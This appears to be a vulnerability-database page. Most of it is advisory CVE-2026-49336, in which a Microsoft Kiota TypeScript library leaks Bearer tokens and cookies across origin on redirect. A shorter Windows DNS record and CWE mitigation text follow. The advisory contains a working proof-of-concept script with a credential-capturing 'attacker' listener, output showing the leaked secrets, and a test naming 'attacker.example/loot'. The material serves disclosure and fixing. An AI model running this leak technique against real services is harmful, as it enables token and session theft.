"host": "127.0.0.1:7772",
"connection": "keep-alive",
"cookie": "session=SECRET_COOKIE_EEEE-FFFF",
"authorization": "Bearer SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD",
"user-agent": "kiota-typescript/1.0.0-preview.24",
"accept": "*/*",
"accept-language": "*",
"sec-fetch-mode": "cors",
"accept-encoding": "gzip, deflate"
}
The attacker-controlled host on 127.0.0.1:7772 (a different origin from 127.0.0.1:7771) observes both the OAuth2 Bearer token and the session cookie. The default RedirectHandler.scrubSensitiveHeaders did execute its delete branch (verified by inserting a console.log inside the scrub) but the deletes targeted property names that did not exist, leaving the lower-cased headers intact.
Suggested fix
Two-line change to defaultScrubSensitiveHeaders to drop sensitive headers regardless of key case, with Proxy-Authorization covered for the Node-with-agent case.
--- a/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts
+++ b/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts
@@ -73,12 +73,21 @@ export class RedirectHandlerOptions implements RequestOption {
try {
const originalUri = new URL(originalUrl);
const newUri = new URL(newUrl);
- // Remove Authorization and Cookie headers if the request's scheme or host changes
+ // Remove Authorization, Cookie, and Proxy-Authorization headers if the request's scheme or host changes.
+ // Header keys must be matched case-insensitively because the request adapter lower-cases
+ // header keys before they reach this middleware (see FetchRequestAdapter.getRequestFromRequestInformation).
const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();
if (isDifferentHostOrScheme) {
- delete headers.Authorization;
- delete headers.Cookie;
+ for (const key of Object.keys(headers)) {
+ const lower = key.toLowerCase();
+ if (lower === "authorization" || lower === "cookie" || lower === "proxy-authorization") {
+ delete headers[key];
+ }
+ }
}
} catch {
// If URL parsing fails, don't modify headers
Tests should be extended in packages/http/fetch/test/node/RedirectHandler.ts to cover the realistic case where headers arrive lower-cased — the existing tests use PascalCase Authorization: ... fixtures that match the buggy delete by coincidence and therefore pass even with the no-op scrub. Add at minimum:
it("Should drop authorization and cookie regardless of key case", async () => {
const fetchRequestInit = {
method: "GET",
headers: { authorization: "Bearer TEST", cookie: "session=SECRET" },
};
const options = new RedirectHandlerOptions();
options.scrubSensitiveHeaders(
fetchRequestInit.headers,
"https://graph.microsoft.com/v1.0/me",
"https://attacker.example/loot",
);
assert.isUndefined(fetchRequestInit.headers.authorization);
assert.isUndefined(fetchRequestInit.headers.cookie);
});
Fix commit
https://github.com/microsoft/kiota-typescript/commit/09f8bd9b34d68bf412a9b78f6ca7e7961ef14974
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0-preview.101"
},
"package": {
"ecosystem": "npm",
"name": "@microsoft/kiota-http-fetchlibrary"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-preview.97"
},
{
"fixed": "1.0.0-preview.102"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49336"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T22:23:11Z",
"nvd_published_at": "2026-06-19T19:16:36Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`@microsoft/kiota-http-fetchlibrary`\u0027s `RedirectHandler` is documented as stripping `Authorization` and `Cookie` from cross-origin redirect targets, but the default `scrubSensitiveHeaders` callback in `RedirectHandlerOptions` uses case-sensitive property deletion (`delete headers.Authorization`, `delete headers.Cookie`) on a headers object that `FetchRequestAdapter.getRequestFromRequestInformation` has already lower-cased. The delete therefore targets keys that do not exist, the scrub is a no-op, and any Bearer token or Cookie attached by a kiota-generated SDK is forwarded to an attacker-controlled host across a 30x redirect.\n\nThis is reachable in the default middleware chain (`MiddlewareFactory.getDefaultMiddlewares`) with no custom configuration, and applies to every kiota-generated TypeScript SDK that uses `BaseBearerTokenAuthenticationProvider` or any other authentication provider that sets the `Authorization` request header.\n\n### Affected versions\n\n`@microsoft/kiota-http-fetchlibrary` `\u003e= 1.0.0-preview.97` (the release that introduced the `defaultScrubSensitiveHeaders` callback, commit `74886cc4`, tagged 2026-02-27) up to and including `1.0.0-preview.101` (latest at filing). The bug was verified end-to-end against the version published on npm: `1.0.0-preview.100`.\n\nThe case-mismatch primitive (lowercasing in the request adapter) predates the scrub itself \u2014 `FetchRequestAdapter.getRequestFromRequestInformation` has lower-cased header keys via `toLocaleLowerCase()` since commit `d612bac2` (2022-12-09). When the scrub was added in 2026-02 it inherited the mismatch.\n\n### Impact\n\n- **Bearer token leak across origin.** When a kiota-generated SDK calls a server that the SDK trusts (Microsoft Graph, an internal API, any OAuth2 resource server) and that server returns an HTTP redirect to a different host, the `Authorization: Bearer \u003ctoken\u003e` header issued by the auth provider is sent in cleartext to the redirect target. The redirect target can be controlled by:\n - An attacker who can corrupt or MITM a single 30x response from the legitimate host (downgrade-on-redirect amplifier).\n - An attacker who has temporarily compromised a low-trust endpoint of the upstream API and can issue 302 responses (e.g. a public profile-image URL on Graph that returns 302 to attacker-controlled storage).\n - An attacker who can persuade the kiota-using application to call an attacker-chosen base URL that returns 302 to the attacker (a confused-deputy SSRF-style abuse where the application proxies a user-supplied URL through a kiota-built client).\n- **Session cookie leak across origin.** If the application or generated SDK attaches a `Cookie` header, the same primitive forwards it to the redirect target.\n- **No user interaction required.** The default middleware chain is in effect; the application does not need to opt in to the bug.\n\n### Vulnerable code\n\nThe two pieces that combine into the bug.\n\n**1. Headers are lower-cased on the way out of the request adapter.**\n\n[`packages/http/fetch/src/fetchRequestAdapter.ts:529-532`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/fetchRequestAdapter.ts#L529-L532):\n\n```ts\nconst headers: Record\u003cstring, string\u003e | undefined = {};\nrequestInfo.headers?.forEach((_, key) =\u003e {\n headers[key.toString().toLocaleLowerCase()] = this.foldHeaderValue(requestInfo.headers.tryGetValue(key));\n});\n```\n\nThe headers object that flows into the middleware pipeline as `fetchRequestInit.headers` has every key lower-cased. So `Authorization` becomes `authorization`, `Cookie` becomes `cookie`.\n\n**2. The default redirect scrub deletes case-sensitive property names.**\n\n[`packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts:67-82`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts#L67-L82):\n\n```ts\nprivate static readonly defaultScrubSensitiveHeaders: ScrubSensitiveHeaders = (headers: Record\u003cstring, string\u003e, originalUrl: string, newUrl: string) =\u003e {\n if (!headers || !originalUrl || !newUrl) {\n return;\n }\n try {\n const originalUri = new URL(originalUrl);\n const newUri = new URL(newUrl);\n const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();\n if (isDifferentHostOrScheme) {\n delete headers.Authorization;\n delete headers.Cookie;\n }\n } catch {\n return;\n }\n};\n```\n\n`delete headers.Authorization` is sugar for `delete headers[\"Authorization\"]`. JavaScript object property names are case-sensitive. The headers object\u0027s actual key is `\"authorization\"` (lower-case). The delete removes nothing.\n\n**3. The redirect handler invokes the scrub on the lower-cased object.**\n\n[`packages/http/fetch/src/middlewares/redirectHandler.ts:133-136`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/http/fetch/src/middlewares/redirectHandler.ts#L133-L136):\n\n```ts\nif (fetchRequestInit.headers) {\n currentOptions.scrubSensitiveHeaders(fetchRequestInit.headers as Record\u003cstring, string\u003e, url, newUrl);\n}\n```\n\nThe redirect handler then issues a new `fetch` with the unchanged `fetchRequestInit.headers` (still containing `authorization`) to `newUrl` (the attacker-controlled host).\n\n### How the Bearer token reaches the attacker host\n\n1. Application calls a kiota-generated SDK method.\n2. `FetchRequestAdapter.send` calls `authenticationProvider.authenticateRequest(requestInfo)`. `BaseBearerTokenAuthenticationProvider` adds `Authorization: Bearer \u003ctoken\u003e` to `requestInfo.headers` ([`packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts:34`](https://github.com/microsoft/kiota-typescript/blob/f765544d6ab861222c1fa6fa0a2d3b715786d725/packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts#L34)).\n3. `FetchRequestAdapter.getRequestFromRequestInformation` builds the `RequestInit` object, lower-casing every header key. The output `headers` map contains key `\"authorization\"`.\n4. The default middleware chain runs `RetryHandler` then `RedirectHandler`. `RedirectHandler.execute` sets `redirect = \"manual\"` so the underlying `fetch` does not auto-follow.\n5. The upstream HTTP request goes out to the victim host carrying `authorization: Bearer \u003ctoken\u003e`.\n6. The victim host responds with `302 Location: https://attacker.example/loot`.\n7. `RedirectHandler.executeWithRedirect` sees the 302, parses the Location, computes `newUrl`, and calls `currentOptions.scrubSensitiveHeaders(headers, url, newUrl)`.\n8. `defaultScrubSensitiveHeaders` correctly observes `originalUri.host !== newUri.host`, enters the `if (isDifferentHostOrScheme)` branch, and runs `delete headers.Authorization`. The headers object\u0027s key is `authorization`. The delete is a no-op.\n9. `executeWithRedirect` recurses with `url = newUrl` and the unchanged `headers`. A second `fetch` goes out to the attacker host carrying `authorization: Bearer \u003ctoken\u003e` and `cookie: \u003csession\u003e`.\n\n### Proof of concept\n\nEnd-to-end PoC against `@microsoft/kiota-http-fetchlibrary@1.0.0-preview.100` and `@microsoft/kiota-abstractions@1.0.0-preview.99` installed from npm with `npm install`. Two local HTTP listeners simulate the victim host (port 7771) and the attacker host (port 7772). The attacker listener captures the full set of request headers it observes.\n\n`package.json`:\n\n```json\n{\n \"name\": \"kiota-bearer-leak-poc\",\n \"version\": \"0.0.1\",\n \"private\": true,\n \"type\": \"module\",\n \"dependencies\": {\n \"@microsoft/kiota-abstractions\": \"^1.0.0-preview.99\",\n \"@microsoft/kiota-http-fetchlibrary\": \"^1.0.0-preview.99\"\n }\n}\n```\n\n`poc.mjs`:\n\n```js\nimport http from \"node:http\";\nimport {\n BaseBearerTokenAuthenticationProvider,\n RequestInformation,\n HttpMethod,\n} from \"@microsoft/kiota-abstractions\";\nimport {\n FetchRequestAdapter,\n KiotaClientFactory,\n} from \"@microsoft/kiota-http-fetchlibrary\";\n\nconst TOKEN = \"SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD\";\nconst COOKIE = \"session=SECRET_COOKIE_EEEE-FFFF\";\n\nconst attackerCapture = [];\nconst attackerServer = http.createServer((req, res) =\u003e {\n attackerCapture.push({ url: req.url, headers: req.headers });\n res.writeHead(200, { \"Content-Type\": \"application/json\" });\n res.end(JSON.stringify({ pwned: true }));\n});\nawait new Promise((r) =\u003e attackerServer.listen(7772, \"127.0.0.1\", r));\n\nconst victimServer = http.createServer((req, res) =\u003e {\n res.writeHead(302, { Location: \"http://127.0.0.1:7772/api/data\" });\n res.end();\n});\nawait new Promise((r) =\u003e victimServer.listen(7771, \"127.0.0.1\", r));\n\nclass StaticTokenProvider {\n getAuthorizationToken() { return Promise.resolve(TOKEN); }\n getAllowedHostsValidator() { return { getAllowedHosts: () =\u003e [] }; }\n}\nconst authProvider = new BaseBearerTokenAuthenticationProvider(new StaticTokenProvider());\nconst adapter = new FetchRequestAdapter(authProvider, undefined, undefined, KiotaClientFactory.create());\nadapter.baseUrl = \"http://127.0.0.1:7771\";\n\nconst requestInfo = new RequestInformation();\nrequestInfo.urlTemplate = \"{+baseurl}/me\";\nrequestInfo.pathParameters[\"baseurl\"] = \"http://127.0.0.1:7771\";\nrequestInfo.httpMethod = HttpMethod.GET;\nrequestInfo.headers.add(\"Cookie\", COOKIE);\n\ntry { await adapter.sendNoResponseContent(requestInfo, undefined); } catch (e) {}\n\nconsole.log(\"attacker received:\", JSON.stringify(attackerCapture[0]?.headers, null, 2));\nattackerServer.close();\nvictimServer.close();\n```\n\n### End-to-end reproduction against `@microsoft/kiota-http-fetchlibrary@1.0.0-preview.100`\n\nSetup:\n\n```bash\nmkdir kiota-leak \u0026\u0026 cd kiota-leak\ncat \u003e package.json \u003c\u003c\u0027EOF\u0027\n{\n \"name\": \"kiota-bearer-leak-poc\",\n \"version\": \"0.0.1\",\n \"private\": true,\n \"type\": \"module\",\n \"dependencies\": {\n \"@microsoft/kiota-abstractions\": \"^1.0.0-preview.99\",\n \"@microsoft/kiota-http-fetchlibrary\": \"^1.0.0-preview.99\"\n }\n}\nEOF\n# Save the poc.mjs above into the same directory\nnpm install\nnode --version # tested on Node v26.0.0\nnode poc.mjs\n```\n\nCaptured transcript (verbatim from a clean run on Node v26):\n\n```\nattacker received: {\n \"host\": \"127.0.0.1:7772\",\n \"connection\": \"keep-alive\",\n \"cookie\": \"session=SECRET_COOKIE_EEEE-FFFF\",\n \"authorization\": \"Bearer SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD\",\n \"user-agent\": \"kiota-typescript/1.0.0-preview.24\",\n \"accept\": \"*/*\",\n \"accept-language\": \"*\",\n \"sec-fetch-mode\": \"cors\",\n \"accept-encoding\": \"gzip, deflate\"\n}\n```\n\nThe attacker-controlled host on `127.0.0.1:7772` (a different origin from `127.0.0.1:7771`) observes both the OAuth2 Bearer token and the session cookie. The default `RedirectHandler.scrubSensitiveHeaders` did execute its delete branch (verified by inserting a `console.log` inside the scrub) but the deletes targeted property names that did not exist, leaving the lower-cased headers intact.\n\n### Suggested fix\n\nTwo-line change to `defaultScrubSensitiveHeaders` to drop sensitive headers regardless of key case, with `Proxy-Authorization` covered for the Node-with-agent case.\n\n```diff\n--- a/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts\n+++ b/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts\n@@ -73,12 +73,21 @@ export class RedirectHandlerOptions implements RequestOption {\n try {\n const originalUri = new URL(originalUrl);\n const newUri = new URL(newUrl);\n\n- // Remove Authorization and Cookie headers if the request\u0027s scheme or host changes\n+ // Remove Authorization, Cookie, and Proxy-Authorization headers if the request\u0027s scheme or host changes.\n+ // Header keys must be matched case-insensitively because the request adapter lower-cases\n+ // header keys before they reach this middleware (see FetchRequestAdapter.getRequestFromRequestInformation).\n const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();\n\n if (isDifferentHostOrScheme) {\n- delete headers.Authorization;\n- delete headers.Cookie;\n+ for (const key of Object.keys(headers)) {\n+ const lower = key.toLowerCase();\n+ if (lower === \"authorization\" || lower === \"cookie\" || lower === \"proxy-authorization\") {\n+ delete headers[key];\n+ }\n+ }\n }\n } catch {\n // If URL parsing fails, don\u0027t modify headers\n```\n\nTests should be extended in `packages/http/fetch/test/node/RedirectHandler.ts` to cover the realistic case where headers arrive lower-cased \u2014 the existing tests use PascalCase `Authorization: ...` fixtures that match the buggy delete by coincidence and therefore pass even with the no-op scrub. Add at minimum:\n\n```ts\nit(\"Should drop authorization and cookie regardless of key case\", async () =\u003e {\n const fetchRequestInit = {\n method: \"GET\",\n headers: { authorization: \"Bearer TEST\", cookie: \"session=SECRET\" },\n };\n const options = new RedirectHandlerOptions();\n options.scrubSensitiveHeaders(\n fetchRequestInit.headers,\n \"https://graph.microsoft.com/v1.0/me\",\n \"https://attacker.example/loot\",\n );\n assert.isUndefined(fetchRequestInit.headers.authorization);\n assert.isUndefined(fetchRequestInit.headers.cookie);\n});\n```\n\n### Fix commit\n\nhttps://github.com/microsoft/kiota-typescript/commit/09f8bd9b34d68bf412a9b78f6ca7e7961ef14974\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-396q-4vc8-28x9",
"modified": "2026-06-26T22:23:11Z",
"published": "2026-06-26T22:23:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota-typescript/security/advisories/GHSA-396q-4vc8-28x9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49336"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota-typescript/commit/09f8bd9b34d68bf412a9b78f6ca7e7961ef14974"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/kiota-typescript"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "@microsoft/kiota-http-fetchlibrary: Bearer token and Cookie leak across origin on redirect due to case-mismatched scrub in fetchRequestAdapter"
}
GHSA-3CC4-4GGR-8JCR
Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2022-06-29 00:00Windows DNS Information Disclosure Vulnerability This CVE ID is unique from CVE-2021-28328.
{
"affected": [],
"aliases": [
"CVE-2021-28323"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-13T20:15:00Z",
"severity": "MODERATE"
},
"details": "Windows DNS Information Disclosure Vulnerability This CVE ID is unique from CVE-2021-28328.",
"id": "GHSA-3cc4-4ggr-8jcr",
"modified": "2022-06-29T00:00:49Z",
"published": "2022-05-24T17:47:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28323"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28323"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162251/Microsoft-DiagHub-Privilege-Escalation.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/Apr/40"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-44
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
No CAPEC attack patterns related to this CWE.